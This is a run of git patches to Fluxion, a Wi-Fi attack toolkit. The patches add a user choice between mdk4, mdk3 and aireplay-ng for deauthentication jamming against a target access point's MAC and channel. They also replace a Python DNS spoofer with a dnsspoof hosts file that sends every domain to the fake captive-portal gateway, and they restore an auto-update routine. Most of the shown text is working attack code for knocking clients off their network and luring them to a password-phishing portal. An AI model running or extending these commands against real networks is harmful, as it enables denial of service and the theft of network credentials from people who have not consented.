zh.sh --- attacks/Handshake Snooper/language/zh.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/zh.sh b/attacks/Handshake Snooper/language/zh.sh index 527799f..5b16f61 100755 --- a/attacks/Handshake Snooper/language/zh.sh +++ b/attacks/Handshake Snooper/language/zh.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="选择一个用于监控和干扰的接口 HandshakeSnooperMethodQuery="选择一种方式来检查握手包获取状态" HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 解除认证方式 (${CRed}侵略性$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 解除认证方式 (${CRed}侵略性$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包" HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})." From 9cbafa09cbf3af4d230e3afdfa045d13b533f025 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:07:12 +0500 Subject: [PATCH 64/76] Update tk.sh --- attacks/Handshake Snooper/language/tk.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/tk.sh b/attacks/Handshake Snooper/language/tk.sh index 0a1ce46..c643ad0 100755 --- a/attacks/Handshake Snooper/language/tk.sh +++ b/attacks/Handshake Snooper/language/tk.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="İzleme ve jamming için bir arayüz seçi HandshakeSnooperMethodQuery="Tokalasma edinme methodu seciniz" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasif$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresif$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}agresif$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}agresif$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Doğrulayıcı ne sıklıkta bir tokalasma için kontrol etmeli?" HandshakeSnooperVerifierInterval30SOption="Her 30 saniyede (${CGrn}tavsıye edilen${CClr})." From 8b29f9b34ff66f467d42eac5cf6a6475cf632444 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:07:16 +0500 Subject: [PATCH 65/76] Update sl.sh --- attacks/Handshake Snooper/language/sl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/sl.sh b/attacks/Handshake Snooper/language/sl.sh index 004783b..663e7f7 100755 --- a/attacks/Handshake Snooper/language/sl.sh +++ b/attacks/Handshake Snooper/language/sl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From b00e2a2fd21205ba6305ab74b64820e2b84fa671 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:07:18 +0500 Subject: [PATCH 66/76] Update sk.sh --- attacks/Handshake Snooper/language/sk.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/sk.sh b/attacks/Handshake Snooper/language/sk.sh index b44f15e..c446031 100755 --- a/attacks/Handshake Snooper/language/sk.sh +++ b/attacks/Handshake Snooper/language/sk.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Vyberte metódu získania 'handshake'" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ako často sa má kontrolovať 'handshake'?" HandshakeSnooperVerifierInterval30SOption="Každých 30 sekúnd (${CGrn}odporúčané${CClr})." From f6aa599e7b313ac831d68f44bf0ae43d21869d61 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:07:22 +0500 Subject: [PATCH 67/76] Update ru.sh --- attacks/Handshake Snooper/language/ru.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ru.sh b/attacks/Handshake Snooper/language/ru.sh index 698ffa2..e7bc702 100755 --- a/attacks/Handshake Snooper/language/ru.sh +++ b/attacks/Handshake Snooper/language/ru.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия" HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)" HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)" -HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk4 (${CRed} агрессивный $CClr)" +HandshakeSnooperMdk4MethodOption="Деаутентификация с mdk4 (${CRed} агрессивный $CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?" HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})." From ea65bdfd527116b2ea01b5852a6d15c9af3ed1eb Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:07:28 +0500 Subject: [PATCH 68/76] Update ro.sh --- attacks/Handshake Snooper/language/ro.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ro.sh b/attacks/Handshake Snooper/language/ro.sh index 77cfaaa..951c1d6 100755 --- a/attacks/Handshake Snooper/language/ro.sh +++ b/attacks/Handshake Snooper/language/ro.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 8cc52d4d63403df0ddcd8ecda85fa05089e0d59c Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 11:34:37 +0500 Subject: [PATCH 69/76] Add files via upload --- attacks/Captive Portal/attack.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 7ab8229..fffa096 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -154,6 +154,12 @@ function captive_portal_set_ap_service() { captive_portal_unset_ap_service +echo -e "$FLUXIONVLine ${CClr}Select a method of deauthentication\n${CClr}" +echo -e "${CSRed}[${CSYel}1${CSRed}]${CClr} mdk4${CClr}" +echo -e "${CSRed}[${CSYel}2${CSRed}]${CClr} aireplay\n${CClr}" +read -p $'\e[0;31m[\e[1;34mfluxion\e[1;33m@\e[1;37m'"$HOSTNAME"$'\e[0;31m]\e[0;31m-\e[0;31m[\e[1;33m~\e[0;31m] \e[0m' option_deauth + + if [ "$FLUXIONAuto" ]; then CaptivePortalAPService="hostapd" else @@ -1519,14 +1525,20 @@ start_attack() { "./$FLUXIONWorkspacePath/captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! - else + elif [[ $option_deauth -eq 1 ]]; then xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! + elif [[ $option_deauth -eq 2 ]]; then + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "aireplay-ng -0 0 -a $FluxionTargetMAC --ignore-negative-one $CaptivePortalJammerInterface" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! fi echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" From e2a44660404f4f0d748232b49bbc18479124b37f Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 11:52:58 +0500 Subject: [PATCH 70/76] Add files via upload --- attacks/Captive Portal/attack.sh | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index fffa096..9da02fb 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -156,7 +156,8 @@ function captive_portal_set_ap_service() { echo -e "$FLUXIONVLine ${CClr}Select a method of deauthentication\n${CClr}" echo -e "${CSRed}[${CSYel}1${CSRed}]${CClr} mdk4${CClr}" -echo -e "${CSRed}[${CSYel}2${CSRed}]${CClr} aireplay\n${CClr}" +echo -e "${CSRed}[${CSYel}2${CSRed}]${CClr} aireplay${CClr}" +echo -e "${CSRed}[${CSYel}3${CSRed}]${CClr} mdk3\n${CClr}" read -p $'\e[0;31m[\e[1;34mfluxion\e[1;33m@\e[1;37m'"$HOSTNAME"$'\e[0;31m]\e[0;31m-\e[0;31m[\e[1;33m~\e[0;31m] \e[0m' option_deauth @@ -1539,6 +1540,14 @@ start_attack() { "aireplay-ng -0 0 -a $FluxionTargetMAC --ignore-negative-one $CaptivePortalJammerInterface" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! + + elif [[ $option_deauth -eq 3 ]]; then + + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! fi echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" From 3db916ff83626095006580f2adabd96986fd6cea Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 11:53:53 +0500 Subject: [PATCH 71/76] Update fluxion.sh --- fluxion.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion.sh b/fluxion.sh index ea553d6..f8a3665 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -257,7 +257,7 @@ fluxion_startup() { local requiredCLITools=( "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" - "iwconfig:wireless-tools" "macchanger" "mdk4" "nmap" "openssl" + "iwconfig:wireless-tools" "macchanger" "mdk4" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc" ) From 4bf312be4ac2f6b199e63bf6eb3464d956f533f7 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Wed, 16 Oct 2019 10:39:16 +0500 Subject: [PATCH 72/76] fix captive portal not triggering on samsung devices. --- attacks/Captive Portal/attack.sh | 95 +++----------------------------- 1 file changed, 9 insertions(+), 86 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 9da02fb..aeae3a0 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -749,92 +749,15 @@ index-file.names = ( " >>"$FLUXIONWorkspacePath/lighttpd.conf" fi - # Create a DNS service with python, forwarding all traffic to gateway. + # Create a temporary hosts file to be used with dnsspoof echo "\ -import sys, traceback, socket -# NOTICE: This DNS server works with python 2 and python 3 +${CaptivePortalGatewayAddress} *.* +172.217.5.238 google.com +172.217.13.78 clients3.google.com +172.217.13.78 clients4.google.com +" >"$FLUXIONWorkspacePath/hosts" -class DNSQuery: - def __init__(self, data): - self.data = data - self.domain = '' - - queryType = (ord(data[2]) >> 3) & 15 - - # Only handle basic requests. - if queryType != 0: - print('Ignoring Query: Non-spoofed type.') - return - - domainStart = 13 # Skip length byte and start at domain. - domainLength = ord(data[domainStart - 1]) # Evaluate length byte. - - while domainLength != 0: - self.domain += data[domainStart : domainStart + domainLength] + '.' - - domainStart += domainLength + 1 # Skip the length byte & start at domain. - domainLength = ord(data[domainStart - 1]) # Evaluate length byte. - - def response(self, ipv4): - if not self.domain: return '' - - packet = '' - - packet += self.data[ :2] + '\x81\x80' - packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet += self.data[12:] - packet += '\xc0\x0c' - packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - - # Convert string IPv4 quads to binary values (bytes). - packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.'))) - - return packet - -if __name__ == '__main__': - targetIPv4 = '$CaptivePortalGatewayAddress' - - print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4) - - link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - link.bind(('',53)) - - try: - while True: - clientData, clientIPv4 = link.recvfrom(1024) - - queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape') - - query = DNSQuery(queryData) - - response = query.response(targetIPv4) - - if sys.version_info > (3, 0): - # Someone that knows more about python and how it does byte-handling, - # please fix the following shitfest and make it a bit more elegant. - # Do what? A raw conversion of the \"response\" string to bytes. - responseHex = '' - for xx in response: - responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111) - - response = bytearray.fromhex(responseHex) - - link.sendto(response, clientIPv4) - - print('Request: %s -> %s' % (query.domain, targetIPv4)) - - except KeyboardInterrupt: - print('INTERRUPT: Stopping.') - link.close() - - except Exception as error: - print('EXCEPTION: Stopping!') - print(error) - print(traceback.format_exc()) - link.close() -" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - - chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + #chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"} # Attack arbiter script @@ -1436,7 +1359,7 @@ stop_attack() { CaptivePortalWebServicePID="" # Clear service PID fi - # Kill python DNS service if one is found. + # Kill DNS service if one is found. if [ "$CaptivePortalDNSServiceXtermPID" ]; then kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \ 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice @@ -1503,7 +1426,7 @@ start_attack() { echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \ -title "FLUXION AP DNS Service" -e \ - "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & + "dnsspoof -i ${CaptivePortalAccessInterface} -f \"$FLUXIONWorkspacePath/hosts\"" & # Save parent's pid, to get to child later. CaptivePortalDNSServiceXtermPID=$! From db7a5e905d99ed5485aa3f91b3f43cf2984e30fc Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Wed, 16 Oct 2019 14:43:54 +0500 Subject: [PATCH 73/76] Added dsniff as a dependency for handling dns. --- fluxion.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion.sh b/fluxion.sh index f8a3665..e7b3df7 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -257,7 +257,7 @@ fluxion_startup() { local requiredCLITools=( "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" - "iwconfig:wireless-tools" "macchanger" "mdk4" "mdk3" "nmap" "openssl" + "iwconfig:wireless-tools" "macchanger" "mdk4" "dsniff" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc" ) From bf8a6537cb6b5dc0bcea33403e94f1bb4746966e Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 17 Oct 2019 08:12:15 +0500 Subject: [PATCH 74/76] Update attack.sh --- attacks/Captive Portal/attack.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index aeae3a0..5789fe1 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -16,7 +16,7 @@ CaptivePortalAuthenticationMethodsInfo=( # ============= < Virtual Network Configuration > ============ # # To avoid collapsing with an already existing network, # we'll use a somewhat uncommon network and server IP. -CaptivePortalGatewayAddress="192.168.254.1" +CaptivePortalGatewayAddress="192.169.254.1" CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*} From 4cddfb6c25001d11f2ff85fe260504fd9efbeee5 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 24 Oct 2019 12:59:48 +0500 Subject: [PATCH 75/76] Update airbase-ng.sh --- lib/ap/airbase-ng.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh index 805d6e2..50dba0b 100755 --- a/lib/ap/airbase-ng.sh +++ b/lib/ap/airbase-ng.sh @@ -81,7 +81,7 @@ function ap_service_start() { sleep 1 APServicePID=$(pgrep -P $parentPID) done - eval ifconfig at0 192.168.254.1 + eval ifconfig at0 192.169.254.1 ap_service_route } From 8588c39e7e0f806aa52ff43c3d1325bcd3bb2258 Mon Sep 17 00:00:00 2001 From: strasharo Date: Wed, 25 Dec 2019 13:50:43 +0200 Subject: [PATCH 76/76] Revert "remove auto-update" This reverts commit 3662c1c2b5e5c568cb4d456822cc0e2f266d31e7. --- fluxion.sh | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/fluxion.sh b/fluxion.sh index e7b3df7..5b8605b 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -254,6 +254,33 @@ fluxion_startup() { echo # Do not remove. + sleep 0.1 + local -r fluxionRepository="https://github.com/FluxionNetwork/fluxion" + format_center_literals "${CGrn}Site: ${CRed}$fluxionRepository$CClr" + echo -e "$FormatCenterLiterals" + + sleep 0.1 + local -r versionInfo="${CSRed}FLUXION $FLUXIONVersion$CClr" + local -r revisionInfo="(rev. $CSBlu$FLUXIONRevision$CClr)" + local -r credits="by$CCyn FluxionNetwork$CClr" + format_center_literals "$versionInfo $revisionInfo $credits" + echo -e "$FormatCenterLiterals" + + sleep 0.1 + local -r fluxionDomain="raw.githubusercontent.com" + local -r fluxionPath="FluxionNetwork/fluxion/master/fluxion.sh" + local -r updateDomain="github.com" + local -r updatePath="FluxionNetwork/fluxion/archive/master.zip" + if installer_utils_check_update "https://$fluxionDomain/$fluxionPath" \ + "FLUXIONVersion=" "FLUXIONRevision=" \ + $FLUXIONVersion $FLUXIONRevision; then + installer_utils_run_update "https://$updateDomain/$updatePath" \ + "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "$FLUXIONPath" + fluxion_shutdown + fi + + echo # Do not remove. + local requiredCLITools=( "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd"